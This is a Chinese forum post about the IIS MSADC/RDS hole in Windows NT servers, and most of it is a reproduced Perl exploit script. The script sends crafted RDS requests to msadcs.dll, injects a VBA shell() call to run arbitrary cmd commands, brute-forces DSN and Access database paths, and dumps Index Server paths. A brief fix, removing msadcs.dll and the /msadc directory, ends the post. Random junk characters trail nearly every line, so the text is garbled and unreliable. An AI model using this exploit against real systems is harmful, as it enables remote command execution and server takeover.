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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "#"Fp&Z7  
[sh"?  
涉及程序: GqF.T#|  
Microsoft NT server -p]`(S%  
AfbA.-  
描述: Ny&Fjzl  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3C5D~9v  
EIl$"^-  
详细: >@92K]J  
如果你没有时间读详细内容的话,就删除: w1/T>o  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =<27qj  
有关的安全问题就没有了。 ?5+KHG*)  
WSX@0A.&)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  z]R!l%`  
U Edl"FwM4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 I]j/ ab7>  
关于利用ODBC远程漏洞的描述,请参看: 3qd-,qC  
Jb-QP'$@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @=| b$E  
;),O*Z|"v  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 M%dl?9pbq  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3[g++B."pC  
3Tte8]0  
这里不再论述。 #p:jKAc3  
1Z{p[\k  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )@&?i.  
d?+oT0pCH  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset bT6)(lm  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! )*AA9   
x;b+gIz*  
f4;8?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7XI4=O};&%  
5@r Zm4U  
#!perl fbbl92p  
# EG:WE^4  
# MSADC/RDS 'usage' (aka exploit) script hF%~iqd  
#  B*~Bm.  
# by rain.forest.puppy QcVtv7+*v  
# UK9MWC5g9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me o[+|n[aT)3  
# beta test and find errors! V5^b6$R@  
OU964vv  
use Socket; use Getopt::Std; R;m0eG`  
getopts("e:vd:h:XR", \%args); .Yv.-A=ZIg  
{~{s=c0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; f0'Wq^^  
/xbF1@XtL  
if (!defined $args{h} && !defined $args{R}) { jQBdS. }'v  
print qq~ %'g-%2C?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |~vQ0D  
-h <host> = host you want to scan (ip or domain) GZ>% &^E  
-d <seconds> = delay between calls, default 1 second ^T1-dw(  
-X = dump Index Server path table, if available }u*@b10   
-v = verbose YD>>YaH_3@  
-e = external dictionary file for step 5 zbKW.u]v  
(6y3"cbe  
Or a -R will resume a command session Y8xnvK*  
r{3 `zqo  
~; exit;} Xv(9 Yh S  
X!+ a;wr  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,$(v#Tz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} v/6,eIz  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} CoN/L`.SN  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z7}zf@Y-qv  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >Ezwl5b  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Xr6 !b:UX  
U[ungvU1U  
if (!defined $args{R}){ $ret = &has_msadc; .7^-*HT}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1X}Tp\e  
a9_KQ=&CI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" JBJ7k19;  
. "cmd /c "; ]O ` [v  
$in=<STDIN>; chomp $in; <UL|%9=~  
$command="cmd /c " . $in ; 9<r}s  
p%y\`Nlgdx  
if (defined $args{R}) {&load; exit;} !>);}J!e]  
*U^hwL  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *M<=K.*\G  
&try_btcustmr; ]<?)(xz  
1KR|i"  
print "\nStep 2: Trying to make our own DSN..."; &>b1ES.>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;l4 \^E1  
~0{Kga  
print "\nStep 3: Trying known DSNs..."; 32FGDM  
&known_dsn; T@WMT,J6j  
D}U<7=\3H  
print "\nStep 4: Trying known .mdbs..."; Z|GkM5QH:  
&known_mdb; Bj[/ tQ  
0e](N`  
if (defined $args{e}){  ;I@L  
print "\nStep 5: Trying dictionary of DSN names..."; E.bbIV6mQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } */e5lRO\  
R51!j>[fqM  
print "Sorry Charley...maybe next time?\n"; N9|.D.#MF  
exit; Oo .Qz   
~ b_gwJ'  
############################################################################## [1MEA;  
A>2p/iMc  
sub sendraw { # ripped and modded from whisker JU.%;e7  
sleep($delay); # it's a DoS on the server! At least on mine... Bb"4^EOZ,  
my ($pstr)=@_; vfDb9QP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || # Kr.!uD  
die("Socket problems\n"); E\N=p&g$  
if(connect(S,pack "SnA4x8",2,80,$target)){  (t['  
select(S); $|=1; e>Y2q|S85  
print $pstr; my @in=<S>; ?0%TE\I8  
select(STDOUT); close(S); 0l@+xS;  
return @in; lM%fgyX  
} else { die("Can't connect...\n"); }} -B(KQT,J  
gQDK?aQX  
############################################################################## i?=.; 0[|  
rB?cm]G=  
sub make_header { # make the HTTP request kweTK]mT  
my $msadc=<<EOT 6x{IY  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 :J-5Q]#  
User-Agent: ACTIVEDATA l!` 0I] }  
Host: $ip * XGBym  
Content-Length: $clen e !Okc*,  
Connection: Keep-Alive W-QPO  
9v2 ;  
ADCClientVersion:01.06 -;-"i J0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 B '/ >Ax&  
0.0!5D[  
--!ADM!ROX!YOUR!WORLD! 1hS~!r'qqv  
Content-Type: application/x-varg x@}Fn:c!5  
Content-Length: $reqlen ;qK6."b`;  
EQ $9IaY.  
EOT <]^D({`  
; $msadc=~s/\n/\r\n/g; L:Eb(z/D  
return $msadc;} PtOnj)Q  
ybO,~TQ  
############################################################################## .Y.# d7TA  
mK4|=Q  
sub make_req { # make the RDS request jsQ$.)nO  
my ($switch, $p1, $p2)=@_; j!)p NZW.<  
my $req=""; my $t1, $t2, $query, $dsn; .x8$PXjPG  
@/FX7O{n:  
if ($switch==1){ # this is the btcustmr.mdb query 1U7HS2  
$query="Select * from Customers where City=" . make_shell(); *)I1gR~  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3~la/$?p0  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} b15qy?`y  
j #YFwX4.  
elsif ($switch==2){ # this is general make table query J@iN':l-  
$query="create table AZZ (B int, C varchar(10))"; 3Q)>gh*  
$dsn="$p1";} nWu4HFi  
]l%.X7M9  
elsif ($switch==3){ # this is general exploit table query j@!}r|-T  
$query="select * from AZZ where C=" . make_shell(); A,)ELVk1F  
$dsn="$p1";} EPRs%(w`  
w\*/(E<:  
elsif ($switch==4){ # attempt to hork file info from index server e8bJ]  
$query="select path from scope()"; dR:iUw:V  
$dsn="Provider=MSIDXS;";} KLW+&.re8  
eMzCAO  
elsif ($switch==5){ # bad query -5.%{Go$[  
$query="select"; |hoZ:  
$dsn="$p1";} a6P.Zf7  
R?s\0  
$t1= make_unicode($query); W F<V2o{k  
$t2= make_unicode($dsn); KK$A 4`YoR  
$req = "\x02\x00\x03\x00"; Ghc0{M<  
$req.= "\x08\x00" . pack ("S1", length($t1)); ![^h<Om  
$req.= "\x00\x00" . $t1 ; Jo<6M'  
$req.= "\x08\x00" . pack ("S1", length($t2)); !g"9P7p  
$req.= "\x00\x00" . $t2 ; c"1d#8J  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; p\ S3A(  
return $req;} K6 7? d  
"mK (?U!A  
############################################################################## SI5QdX  
Bx4GFCdifC  
sub make_shell { # this makes the shell() statement ]E^f8s0#V  
return "'|shell(\"$command\")|'";} U^\~{X  
BH a>2N  
############################################################################## 6QQ oHYtZ  
RiG!TTa b  
sub make_unicode { # quick little function to convert to unicode p]=;t"  
my ($in)=@_; my $out; w}q"y+=Z:  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =:eE!  
return $out;} z?[DW*  
GY xI$y0:  
############################################################################## zX`RN )C  
F9w&!yW:  
sub rdo_success { # checks for RDO return success (this is kludge) KW^aARJ)  
my (@in) = @_; my $base=content_start(@in); a0\UL"z#+  
if($in[$base]=~/multipart\/mixed/){ !yrHVc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 926oM77  
return 0;} "@$STptkc  
&y\2:IyA  
############################################################################## )A=g# D#  
+9CUnRv  
sub make_dsn { # this makes a DSN for us |pSoBA9U  
my @drives=("c","d","e","f"); IoOnS)  
print "\nMaking DSN: "; !@k@7~i  
foreach $drive (@drives) { MDt?7c  
print "$drive: "; c\MDOD%9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . \-ws[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V.:A'!$#  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); )W|jt/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; p>3'77 V  
return 0 if $2 eq "404"; # not found/doesn't exist mC(t;{  
if($2 eq "200") { %;$Y|RbmqE  
foreach $line (@results) { _B FX5ifK  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 38i,\@p`9$  
} return 0;} 3 ?~+5DU  
zAJUL  
############################################################################## WEAXqDjM  
+Ob#3PRy  
sub verify_exists { );H[lKy  
my ($page)=@_; >nEnX  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T]-~?;Jh8  
return $results[0];} [)vwg`]   
Cq;d2u0)o$  
############################################################################## J?fh3RW9  
l}c2l'  
sub try_btcustmr { mXj Ljgc}  
my @drives=("c","d","e","f"); 5N<v'6&=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z"Ni Y  
i]%"s_l  
foreach $dir (@dirs) { +Q0-jS#d  
print "$dir -> "; # fun status so you can see progress S'p`ECfVMA  
foreach $drive (@drives) { KBA%  
print "$drive: "; # ditto @A'1D@f#  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; e/jM+%  
$reqlenlen=length( "$reqlen" ); rd4'y~#S  
$clen= 206 + $reqlenlen + $reqlen; Wb4{*~  
5>Yd\(`K  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); gi@ji-10  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} q.km>XRk~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} wJ*-K-  
[ {LnE:  
############################################################################## { BL1j  
de{YgN  
sub odbc_error { tN> B$sv  
my (@in)=@_; my $base; ER1mA:8>E  
my $base = content_start(@in); Q.dy $`\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this N==_'`O1Q0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^ZWFj?`\UV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V_622~Tc/[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dU3 >h[q  
return $in[$base+4].$in[$base+5].$in[$base+6];} &novkkqY  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Vp"Ug,1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0(9@GIT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <dPxy`_  
q*TKs#3  
############################################################################## Ab<Ok\e5  
[j U  
sub verbose { lILtxVBO2o  
my ($in)=@_; F>(#Af9  
return if !$verbose; wD^do  
print STDOUT "\n$in\n";} YKOO(?lv  
$= xQX  
############################################################################## ~<OjXuYu  
i/~QJ1C  
sub save { (ul-J4E\O  
my ($p1, $p2, $p3, $p4)=@_; %kFELtx  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (H%d]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; CVG>[~}(9'  
close OUT;} 8'WMspX  
f<altz_\q  
############################################################################## ai  _fN  
k&iScMgCTH  
sub load { ^|i\d \  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0W%}z}/ N  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `R52{B#&/  
@p=<IN>; close(IN); Zbh]SF{3F  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #_\MD,(  
$target= inet_aton($ip) || die("inet_aton problems"); *u;">H*BW  
print "Resuming to $ip ..."; C;:L~)C@t  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6cT~irP  
if($p[1]==1) { )-:eQ{st`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ]N <]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %g@3S!lK  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #IGoz|m  
if (rdo_success(@results)){print "Success!\n";} m?% H<4X  
else { print "failed\n"; verbose(odbc_error(@results));}} >VUQTg  
elsif ($p[1]==3){  `pd   
if(run_query("$p[3]")){ GKujDx+h  
print "Success!\n";} else { print "failed\n"; }} 4S0++Hp4  
elsif ($p[1]==4){ RzJ}CT  
if(run_query($drvst . "$p[3]")){ s?x>Yl %  
print "Success!\n"; } else { print "failed\n"; }} (X_,*3Yxk  
exit;} 0mD;.1:  
Y!1^@;)^  
############################################################################## cm 9oG  
C6V&R1"s  
sub create_table { 0"qim0%|DF  
my ($in)=@_; !eAdm  
$reqlen=length( make_req(2,$in,"") ) - 28; !:O/|.+Vmf  
$reqlenlen=length( "$reqlen" ); ={E!8"  
$clen= 206 + $reqlenlen + $reqlen; 6SBvn%  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^&';\O@)  
return 1 if rdo_success(@results); ;.Oh88|k  
my $temp= odbc_error(@results); verbose($temp); Xtu`5p_Qv  
return 1 if $temp=~/Table 'AZZ' already exists/; mn; 7o~4  
return 0;} H"q`k5R  
oD#< ?h)(  
############################################################################## }#W`<,*rL.  
>6l;/J  
sub known_dsn { ,rB9esxic  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 8Z4?X%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", P-OPv%jyi  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S|q!? /jqj  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *&dW\fx  
2~&hstd%  
foreach $dSn (@dsns) { ?%xhe  
print "."; teOBsFy/I  
next if (!is_access("DSN=$dSn")); "H="Ip!s  
if(create_table("DSN=$dSn")){ x !:9c<  
print "$dSn successful\n"; !` M;#  
if(run_query("DSN=$dSn")){ 3q|cZQK!1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >4|c7z4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lKV\1(`  
jq("D,  
############################################################################## 5h|m4)$  
U.hERe ~X  
sub is_access { !&a;P,_Fb  
my ($in)=@_; Z ]aK'  
$reqlen=length( make_req(5,$in,"") ) - 28; -q&7J' N  
$reqlenlen=length( "$reqlen" ); "0H56#eW  
$clen= 206 + $reqlenlen + $reqlen; oWx_O-_._  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;]&~D +XH  
my $temp= odbc_error(@results); bQdSX8: !R  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7edPH3  
return 0;} G_^iR-  
^YG7dd_  
############################################################################## )zW%\s*'  
n-hvh-ZO  
sub run_query { ]/o12pI  
my ($in)=@_; Jny)uo8  
$reqlen=length( make_req(3,$in,"") ) - 28; Zc%foK{  
$reqlenlen=length( "$reqlen" ); P!FEh'.  
$clen= 206 + $reqlenlen + $reqlen; RrO0uadmn  
my @results=sendraw(make_header() . make_req(3,$in,"")); Q$3\ /mz  
return 1 if rdo_success(@results); 77xq/c[)  
my $temp= odbc_error(@results); verbose($temp); i[2bmd!H  
return 0;} s^g.42?u  
(zs4#ja2,  
############################################################################## p2Dh3)&  
pM&]&Nk  
sub known_mdb { t/d',Khg  
my @drives=("c","d","e","f","g"); |k`f/*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z&dr0w8  
my $dir, $drive, $mdb; r:c@17  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; R81{<q'%X  
vnC<*k4&v  
# this is sparse, because I don't know of many RGl=7^M  
my @sysmdbs=( "\\catroot\\icatalog.mdb", qY$*#*Q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", v@fe-T&0  
"\\system32\\certmdb.mdb", O}K_l1  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gV"qV   
@e! Zc3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xb9Pc.A[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Sa;<B:|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", t;.^K\S4  
"\\cfusion\\cfapps\\security\\realm_.mdb", @K$VV^wp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %@lV-(5q  
"\\cfusion\\database\\cfexamples.mdb", Lj&1K~U  
"\\cfusion\\database\\cfsnippets.mdb", n5Nan  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", :!JpP R5  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _{LN{iqDv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", yn/?= ?0  
"\\cfusion\\database\\smpolicy.mdb", I*A0?{  
"\\cfusion\\database\cypress.mdb", 3Q'[Ee2-3  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", }W:*aU  
"\\website\\cgi-win\\dbsample.mdb", \7Gg2;TA6o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", V#'26@@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -?< Ww{  
); #these are just w4e%-Ln  
foreach $drive (@drives) { cOSxg=~>u  
foreach $dir (@dirs){ RzA2*]%a  
foreach $mdb (@sysmdbs) { K*R)V/B/l  
print "."; `fBG~NDw  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -}{%Q?rYj  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qQfqlD<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #XTY7,@ P  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 0jxO |N2)  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lx\qp`w  
0U82f1ei  
foreach $drive (@drives) { cGgM8  
foreach $mdb (@mdbs) { _PXG AS  
print "."; tcBC!_vF  
if(create_table($drv . $drive . $dir . $mdb)){ xS6(K  
print "\n" . $drive . $dir . $mdb . " successful\n"; =?/N5O(  
if(run_query($drv . $drive . $dir . $mdb)){ l GdM80f  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ]2Sfkl0  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9=t#5J#O  
} N\9}\Rk@  
3iE-6udCS  
############################################################################## ^FP} qW~;9  
9$7&URwSDI  
sub hork_idx { Ts|--,  
print "\nAttempting to dump Index Server tables...\n"; +kjzn]} f  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]g{hhP3>  
$reqlen=length( make_req(4,"","") ) - 28; }JRP,YNh  
$reqlenlen=length( "$reqlen" ); ecr886  
$clen= 206 + $reqlenlen + $reqlen; :GU,EDps  
my @results=sendraw2(make_header() . make_req(4,"","")); _& 8O~8tW  
if (rdo_success(@results)){ &qJPwO  
my $max=@results; my $c; my %d; ;~ W8v.EW  
for($c=19; $c<$max; $c++){ Zimh _  
$results[$c]=~s/\x00//g; SArfczoB  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; P!kw;x  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lj .nCV_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; kTnOmA w  
$d{"$1$2"}="";} >qR7'QwP  
foreach $c (keys %d){ print "$c\n"; } vB[~pQ;Z  
} else {print "Index server doesn't seem to be installed.\n"; }} *_`76`cz%X  
&^ V~cJ  
############################################################################## _i5mC,OffN  
U?gl"6x  
sub dsn_dict { yJ%t^ X_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <&4nOt  
while(<IN>){ 9 |' |BC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; >; aCf#q  
next if (!is_access("DSN=$dSn")); i.3cj1  
if(create_table("DSN=$dSn")){ #@9)h  
print "$dSn successful\n"; G+0><,S  
if(run_query("DSN=$dSn")){ 9]"S:{KSCn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ac9qj  
print "Something's borked. Use verbose next time\n";}}} v @:~mwy  
print "\n"; close(IN);} kr%2w  
2ck 4C/ h  
############################################################################## pX@Si3G`  
m23+kj)+VY  
sub sendraw2 { # ripped and modded from whisker g3Z:{@m  
sleep($delay); # it's a DoS on the server! At least on mine... l :/&E 6 9  
my ($pstr)=@_; _w 5RK(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g%ubvu2t]  
die("Socket problems\n"); Ab/j(xr=  
if(connect(S,pack "SnA4x8",2,80,$target)){ [`d$X^<y;  
print "Connected. Getting data"; p8Iw!HE  
open(OUT,">raw.out"); my @in; 7_-w_"X  
select(S); $|=1; print $pstr; 0axxQ!Ivx  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} q#MM  
close(OUT); select(STDOUT); close(S); return @in; d')-7C  
} else { die("Can't connect...\n"); }} gw"~RV0  
o/C(4q6d  
############################################################################## g& k58{e  
$[g_=Z  
sub content_start { # this will take in the server headers !=3Rg-'d1  
my (@in)=@_; my $c; ~4Pc_%&i  
for ($c=1;$c<500;$c++) { jk$86ma!  
if($in[$c] =~/^\x0d\x0a/){  {@gAv!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } \#CM <%  
else { return $c+1; }}} Mi ; glm  
return -1;} # it should never get here actually wJ gX/W  
n-$VUo  
############################################################################## -D^L}b  
EFAGP${F  
sub funky { =+Im*mgNn  
my (@in)=@_; my $error=odbc_error(@in); EeB ]X24  
if($error=~/ADO could not find the specified provider/){ h4/X 0@l`  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; tAjx\7IX  
exit;} b.b@bq$1  
if($error=~/A Handler is required/){ LOr|k8tL%  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,vV ]"f  
exit;} SVagT'BB  
if($error=~/specified Handler has denied Access/){ $6T3y8  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2edBQYWd  
exit;}} M`vyTuO3SO  
dt_e  
############################################################################## r [s!F=^  
p~2UUm V  
sub has_msadc { nBN&.+3t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JQ@fuo %  
my $base=content_start(@results); Gih[i\%Q  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _tAQ=eBO  
return 0;} &-%X:~|:X  
P}V=*g  
######################## k;I  &.H  
EATu KLP\  
3$VxRz)  
解决方案: 3LDsxE=N:q  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;Wc4qJ.@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Q6 ?z_0  
,Q/Ac{C  
拿出来充数 哈哈
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